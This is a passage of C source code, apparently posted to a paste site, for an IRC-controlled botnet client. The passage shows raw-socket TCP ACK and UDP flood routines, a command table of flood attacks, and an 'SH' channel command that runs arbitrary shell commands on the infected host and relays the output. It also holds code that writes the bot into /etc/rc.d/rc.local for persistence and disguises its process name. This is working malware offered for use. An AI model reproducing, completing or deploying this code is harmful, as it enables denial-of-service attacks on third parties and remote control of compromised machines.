  717.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  718.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  719.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  720.  
  721.  
  722.                 if (a >= 50) {
  723.                         if (time(NULL) >= start+secs) exit(0);
  724.                         a=0;
  725.                 }
  726.                 a++;
  727.         }
  728.         close(get);
  729.         exit(0);
  730.  
  731.  
  732. }
  733.  
  734. void nsackflood(int sock, char *sender, int argc, char **argv) {
  735.         struct send_tcp send_tcp;
  736.         struct pseudo_header pseudo_header;
  737.         struct sockaddr_in sin;
  738.         unsigned int syn[20] = { 2,4,5,180,4,2,8,10,0,0,0,0,0,0,0,0,1,3,3,0 }, a=0;
  739.         unsigned int psize=20, source, dest, check;
  740.         unsigned long saddr, daddr,secs;
  741.         int get;
  742.         time_t start=time(NULL);
  743.         if (mfork(sender) != 0) return;
  744.         if (argc < 3) {
  745.                 Send(sock,"NOTICE %s :NSACKFLOOD <target> <port> <secs>\n",sender);
  746.                 exit(1);
  747.         }
  748.         if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) exit(1);
  749.         {int i; for(i=0;i<20;i++) send_tcp.buf[i]=(u_char)syn[i];}
  750.  
  751.         daddr=host2ip(sender,argv[1]);
  752.         secs=atol(argv[3]);
  753.         dest=htons(atoi(argv[2]));
  754.  
  755.         Send(sock,"NOTICE %s :Flooding with TCP ACK %s.\n",sender,argv[1]);
  756.  
  757.         send_tcp.ip.ihl = 5;
  758.         send_tcp.ip.version = 4;
  759.         send_tcp.ip.tos = 16;
  760.         send_tcp.ip.frag_off = 64;
  761.         send_tcp.ip.ttl = 255;
  762.         send_tcp.ip.protocol = 6;
  763.         send_tcp.tcp.doff = 5;
  764.         send_tcp.tcp.res1 = 0;
  765.         send_tcp.tcp.cwr = 0;
  766.         send_tcp.tcp.ece = 0;
  767.         send_tcp.tcp.urg = 0;
  768.         send_tcp.tcp.ack = 1;
  769.         send_tcp.tcp.psh = 1;
  770.         send_tcp.tcp.rst = 0;
  771.         send_tcp.tcp.fin = 0;
  772.         send_tcp.tcp.syn = 0;
  773.         send_tcp.tcp.window = 30845;
  774.         send_tcp.tcp.urg_ptr = 0;
  775.  
  776.  
  777.         while(1) {
  778.                 saddr=INADDR_ANY;
  779.                 if (atoi(argv[2]) == 0) dest=rand();
  780.                 send_tcp.ip.tot_len = htons(40+psize);
  781.                 send_tcp.ip.id = rand();
  782.                 send_tcp.ip.check = 0;
  783.                 send_tcp.ip.saddr = saddr;
  784.                 send_tcp.ip.daddr = daddr;
  785.                 send_tcp.tcp.source = rand();
  786.                 send_tcp.tcp.dest = dest;
  787.                 send_tcp.tcp.seq = rand();
  788.                 send_tcp.tcp.ack_seq = rand();
  789.                 send_tcp.tcp.check = 0;
  790.                 sin.sin_family = AF_INET;
  791.                 sin.sin_port = send_tcp.tcp.dest;
  792.                 sin.sin_addr.s_addr = send_tcp.ip.daddr;
  793.                 send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
  794.                 check = in_cksum((unsigned short *)&send_tcp, 40);
  795.                 pseudo_header.source_address = send_tcp.ip.saddr;
  796.                 pseudo_header.dest_address = send_tcp.ip.daddr;
  797.                 pseudo_header.placeholder = 0;
  798.                 pseudo_header.protocol = IPPROTO_TCP;
  799.                 pseudo_header.tcp_length = htons(20+psize);
  800.                 bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
  801.                 bcopy((char *)&send_tcp.buf, (char *)&pseudo_header.buf, psize);
  802.                 send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32+psize);
  803.                 sendto(get, &send_tcp, 40+psize, 0, (struct sockaddr *)&sin, sizeof(sin));
  804.  
  805.  
  806.                 if (a >= 50) {
  807.                         if (time(NULL) >= start+secs) exit(0);
  808.                         a=0;
  809.                 }
  810.                 a++;
  811.         }
  812.         close(get);
  813.         exit(0);
  814.  
  815.  
  816. }
  817.  
  818.  
  819. void unknown(int sock, char *sender, int argc, char **argv) {
  820.     int flag=1,fd,i;
  821.     unsigned long secs;
  822.     char *buf=(char*)malloc(9216);
  823.     struct hostent *hp;
  824.     struct sockaddr_in in;
  825.         time_t start=time(NULL);
  826.         if (mfork(sender) != 0) return;
  827.         if (argc < 2) {
  828.                 Send(sock,"NOTICE %s :UNKNOWN <target> <secs>\n",sender);
  829.                 exit(1);
  830.         }
  831.         secs=atol(argv[2]);
  832.     memset((void*)&in,0,sizeof(struct sockaddr_in));
  833.     in.sin_addr.s_addr=host2ip(sender,argv[1]);
  834.     in.sin_family = AF_INET;
  835.         Send(sock,"NOTICE %s :Unknowning %s.\n",sender,argv[1]);
  836.     while(1) {
  837.         in.sin_port = rand();
  838.         if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
  839.         else {
  840.             flag=1;
  841.             ioctl(fd,FIONBIO,&flag);
  842.             sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
  843.             close(fd);
  844.         }
  845.                 if (i >= 50) {
  846.                         if (time(NULL) >= start+secs) break;
  847.                         i=0;
  848.                 }
  849.                 i++;
  850.     }
  851.         close(fd);
  852.     exit(0);
  853. }
  854. void move(int sock, char *sender, int argc, char **argv) {
  855.         if (argc < 1) {
  856.                 Send(sock,"NOTICE %s :MOVE <server>\n",sender);
  857.                 exit(1);
  858.         }
  859.     server=strdup(argv[1]);
  860.     changeservers=1;
  861.     close(sock);
  862. }
  863. void killall(int sock, char *sender, int argc, char **argv) {
  864.         unsigned long i;
  865.         for (i=0;i<numpids;i++) {
  866.                 if (pids[i] != 0 && pids[i] != getpid()) {
  867.                         if (sender) Send(sock,"NOTICE %s :Killing pid %d.\n",sender,pids[i]);
  868.                         kill(pids[i],9);
  869.                 }
  870.         }
  871. }
  872. void killd(int sock, char *sender, int argc, char **argv) {
  873.     if (!disable) kill(0,9);
  874.     else Send(sock,"NOTICE %s :Unable to comply.\n");
  875. }
  876. struct FMessages { char *cmd; void (* func)(int,char *,int,char **); } flooders[] = {
  877.     { "RANDOMFLOOD", randomflood},
  878.     { "NSACKFLOOD", nsackflood },
  879.     { "NSSYNFLOOD", nssynflood },
  880.     { "ACKFLOOD", ackflood },
  881.         { "SYNFLOOD", synflood },
  882.         { "UDP", udp },
  883.     { "UNKNOWN", unknown },
  884.  
  885.         { "NICK", nickc },
  886.         { "SERVER", move },
  887.     { "GETSPOOFS", getspoofs },
  888.         { "SPOOFS", spoof },
  889.  
  890.     { "DISABLE", disable },
  891.         { "ENABLE", enable },
  892.  
  893.         { "KILL", killd },
  894.     { "GET", get },
  895.         { "VERSION", version },
  896.         { "KILLALL", killall },
  897. { (char *)0, (void (*)(int,char *,int,char **))0 } };
  898. void _PRIVMSG(int sock, char *sender, char *str) {
  899.         int i;
  900.         char *to, *message;
  901.         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  902.         str[i]=0;
  903.         to=str;
  904.         message=str+i+2;
  905.         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  906.         sender[i]=0;
  907.         if (*message == '!' && !strcasecmp(to,chan)) {
  908.                 char *params[12], name[1024]={0};
  909.                 int num_params=0, m;
  910.                 message++;
  911.                 for (i=0;i<strlen(message) && message[i] != ' ';i++);
  912.                 message[i]=0;
  913.                 if (strwildmatch(message,nick)) return;
  914.                 message+=i+1;
  915.                 if (!strncmp(message,"IRC ",4)) if (disabled) Send(sock,"NOTICE %s :Unable to comply.\n",sender); else Send(sock,"%s\n",message+4);
  916.                 if (!strncmp(message,"SH ",3)) {
  917.                         char buf[1024];
  918.                         FILE *command;
  919.                         if (mfork(sender) != 0) return;
  920.                         memset(buf,0,1024);
  921.                         sprintf(buf,"export PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin;%s",message+3);
  922.                         command=popen(buf,"r");
  923.                         while(!feof(command)) {
  924.                                 memset(buf,0,1024);
  925.                                 fgets(buf,1024,command);
  926.                                 Send(sock,"NOTICE %s :%s\n",sender,buf);
  927.                                 sleep(1);
  928.                         }
  929.                         pclose(command);
  930.                         exit(0);
  931.                 }
  932.                 m=strlen(message);
  933.                 for (i=0;i<m;i++) {
  934.                         if (*message == ' ' || *message == 0) break;
  935.                         name[i]=*message;
  936.                         message++;
  937.                 }
  938.                 for (i=0;i<strlen(message);i++) if (message[i] == ' ') num_params++;
  939.                 num_params++;
  940.                 if (num_params > 10) num_params=10;
  941.                 params[0]=name;
  942.                 params[num_params+1]="\0";
  943.                 m=1;
  944.                 while (*message != 0) {
  945.                         message++;
  946.                         if (m >= num_params) break;
  947.                         for (i=0;i<strlen(message) && message[i] != ' ';i++);
  948.                         params[m]=(char*)malloc(i+1);
  949.                         strncpy(params[m],message,i);
  950.                         params[m][i]=0;
  951.                         m++;
  952.                         message+=i;
  953.                 }
  954.                 for (m=0; flooders[m].cmd != (char *)0; m++) {
  955.                         if (!strcasecmp(flooders[m].cmd,name)) {
  956.                                 flooders[m].func(sock,sender,num_params-1,params);
  957.                                 for (i=1;i<num_params;i++) free(params[i]);
  958.                                 return;
  959.                         }
  960.                 }
  961.         }
  962. }
  963. void _376(int sock, char *sender, char *str) {
  964.         Send(sock,"MODE %s -xi\n",nick);
  965.         Send(sock,"JOIN %s :%s\n",chan,key);
  966.         Send(sock,"WHO %s\n",nick);
  967. }
  968. void _PING(int sock, char *sender, char *str) {
  969.         Send(sock,"PONG %s\n",str);
  970. }
  971. void _352(int sock, char *sender, char *str) {
  972.         int i,d;
  973.         char *msg=str;
  974.         struct hostent *hostm;
  975.         unsigned long m;
  976.         for (i=0,d=0;d<5;d++) {
  977.                 for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  978.                 if (i == strlen(str)) return;
  979.         }
  980.         for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  981.         msg[i]=0;
  982.         if (!strcasecmp(msg,nick) && !spoofsm) {
  983.                 msg=str;
  984.                 for (i=0,d=0;d<3;d++) {
  985.                         for (;i<strlen(str) && *msg != ' ';msg++,i++); msg++;
  986.                         if (i == strlen(str)) return;
  987.                 }
  988.                 for (i=0;i<strlen(msg) && msg[i] != ' ';i++);
  989.                 msg[i]=0;
  990.                 if ((m = inet_addr(msg)) == -1) {
  991.                         if ((hostm=gethostbyname(msg)) == NULL) {
  992.                                 Send(sock,"NOTICE %s :I'm having a problem resolving my host, someone will have to SPOOFS me manually.\n",chan);
  993.                                 return;
  994.                         }
  995.                         memcpy((char*)&m, hostm->h_addr, hostm->h_length);
  996.                 }
  997.                 ((char*)&spoofs)[3]=((char*)&m)[0];
  998.                 ((char*)&spoofs)[2]=((char*)&m)[1];
  999.                 ((char*)&spoofs)[1]=((char*)&m)[2];
  1000.                 ((char*)&spoofs)[0]=0;
  1001.                 spoofsm=256;
  1002.         }
  1003. }
  1004. void _433(int sock, char *sender, char *str) {
  1005.         free(nick);
  1006.         nick=makestring();
  1007. }
  1008. void _NICK(int sock, char *sender, char *str) {
  1009.     int i;
  1010.         for (i=0;i<strlen(sender) && sender[i] != '!';i++);
  1011.         sender[i]=0;
  1012.     if (!strcasecmp(sender,nick)) {
  1013.         if (*str == ':') str++;
  1014.         if (nick) free(nick);
  1015.         nick=strdup(str);
  1016.     }
  1017. }
  1018. struct Messages { char *cmd; void (* func)(int,char *,char *); } msgs[] = {
  1019.         { "352", _352 },
  1020.         { "376", _376 },
  1021.         { "433", _433 },
  1022.         { "422", _376 },
  1023.         { "PRIVMSG", _PRIVMSG },
  1024.         { "PING", _PING },
  1025.     { "NICK", _NICK },
  1026. { (char *)0, (void (*)(int,char *,char *))0 } };
  1027. void con() {
  1028.         struct sockaddr_in srv;
  1029.         unsigned long ipaddr,start;
  1030.         int flag;
  1031.         struct hostent *hp;
  1032. start:
  1033.     sock=-1;
  1034.     flag=1;
  1035.     if (changeservers == 0) server=servers[rand()%numservers];
  1036.     changeservers=0;
  1037.         while ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0);
  1038.     if (inet_addr(server) == 0 || inet_addr(server) == -1) {
  1039.         if ((hp = gethostbyname(server)) == NULL) {
  1040.             server=NULL;
  1041.             close(sock);
  1042.             goto start;
  1043.         }
  1044.         bcopy((char*)hp->h_addr, (char*)&srv.sin_addr, hp->h_length);
  1045.     }
  1046.     else srv.sin_addr.s_addr=inet_addr(server);
  1047.         srv.sin_family = AF_INET;
  1048.         srv.sin_port = htons(6667);
  1049.     ioctl(sock,FIONBIO,&flag);
  1050.     start=time(NULL);
  1051.     while(time(NULL)-start < 10) {
  1052.         errno=0;
  1053.         if (connect(sock, (struct sockaddr *)&srv, sizeof(srv)) == 0 || errno == EISCONN) {
  1054.                 setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0);
  1055.                 setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  1056.                 setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  1057.             return;
  1058.         }
  1059.         if (!(errno == EINPROGRESS ||errno == EALREADY)) break;
  1060.         sleep(1);
  1061.     }
  1062.     server=NULL;
  1063.     close(sock);
  1064.     goto start;
  1065. }
  1066. int main(int argc, char **argv) {
  1067.         int on,i;
  1068.         char cwd[256],*str;
  1069.         FILE *file;
  1070. #ifdef STARTUP
  1071.     str="/etc/rc.d/rc.local";
  1072.     file=fopen(str,"r");
  1073.     if (file == NULL) {
  1074.         str="/etc/rc.conf";
  1075.         file=fopen(str,"r");
  1076.     }
  1077.         if (file != NULL) {
  1078.                 char outfile[256], buf[1024];
  1079.                 int i=strlen(argv[0]), d=0;
  1080.                 getcwd(cwd,256);
  1081.                 if (strcmp(cwd,"/")) {
  1082.                         while(argv[0][i] != '/') i--;
  1083.                         sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  1084.                         while(!feof(file)) {
  1085.                                 fgets(buf,1024,file);
  1086.                                 if (!strcasecmp(buf,outfile)) d++;
  1087.                         }
  1088.                         if (d == 0) {
  1089.                                 FILE *out;
  1090.                                 fclose(file);
  1091.                                 out=fopen(str,"a");
  1092.                                 if (out != NULL) {
  1093.                                         fputs(outfile,out);
  1094.                                         fclose(out);
  1095.                                 }
  1096.                         }
  1097.                         else fclose(file);
  1098.                 }
  1099.                 else fclose(file);
  1100.         }
  1101. #endif
  1102.         if (fork()) exit(0);
  1103. #ifdef FAKENAME
  1104.     strncpy(argv[0],FAKENAME,strlen(argv[0]));
  1105.         for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  1106. #endif
  1107.         srand((time(NULL) ^ getpid()) + getppid());
  1108.         nick=makestring();
  1109.         ident=makestring();
  1110.         user=makestring();
  1111.         chan=CHAN;
  1112.     key=KEY;
  1113.     server=NULL;
  1114. sa:
  1115. #ifdef IDENT
  1116.         for (i=0;i<numpids;i++) {
  1117.                 if (pids[i] != 0 && pids[i] != getpid()) {
  1118.                         kill(pids[i],9);
  1119.             waitpid(pids[i],NULL,WNOHANG);
  1120.                 }
  1121.         }
  1122.     pids=NULL;
  1123.     numpids=0;
  1124.     identd();
  1125. #endif
  1126.     con();
  1127.         Send(sock,"NICK %s\nUSER %s localhost localhost :%s\n",nick,ident,user);
  1128.         while(1) {
  1129.                 unsigned long i;
  1130.                 fd_set n;
  1131.                 struct timeval tv;
  1132.                 FD_ZERO(&n);
  1133.                 FD_SET(sock,&n);
  1134.                 tv.tv_sec=60*20;
  1135.                 tv.tv_usec=0;
  1136.                 if (select(sock+1,&n,(fd_set*)0,(fd_set*)0,&tv) <= 0) goto sa;
  1137.                 for (i=0;i<numpids;i++) if (waitpid(pids[i],NULL,WNOHANG) > 0) {
  1138.                         unsigned int *newpids,on;
  1139.                         for (on=i+1;on<numpids;on++) pids[on-1]=pids[on];
  1140.             pids[on-1]=0;
  1141.                         numpids--;
  1142.                         newpids=(unsigned int*)malloc((numpids+1)*sizeof(unsigned int));
  1143.                         for (on=0;on<numpids;on++) newpids[on]=pids[on];
  1144.                         free(pids);
  1145.                         pids=newpids;
  1146.                 }
  1147.                 if (FD_ISSET(sock,&n)) {
  1148.                         char buf[4096], *str;
  1149.                         int i;
  1150.                         if ((i=recv(sock,buf,4096,0)) <= 0) goto sa;
  1151.                         buf[i]=0;
  1152.                         str=strtok(buf,"\n");
  1153.                         while(str && *str) {
  1154.                                 char name[1024], sender[1024];
  1155.                                 filter(str);
  1156.                                 if (*str == ':') {
  1157.                                         for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1158.                                         str[i]=0;
  1159.                                         strcpy(sender,str+1);
  1160.                                         strcpy(str,str+i+1);
  1161.                                 }
  1162.                                 else strcpy(sender,"*");
  1163.                                 for (i=0;i<strlen(str) && str[i] != ' ';i++);
  1164.                                 str[i]=0;
  1165.                                 strcpy(name,str);
  1166.                                 strcpy(str,str+i+1);
  1167.                                 for (i=0;msgs[i].cmd != (char *)0;i++) if (!strcasecmp(msgs[i].cmd,name)) msgs[i].func(sock,sender,str);
  1168.                                 if (!strcasecmp(name,"ERROR")) goto sa;
  1169.                                 str=strtok((char*)NULL,"\n");
  1170.                         }
  1171.                 }
  1172.         }
  1173.         return 0;
  1174. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement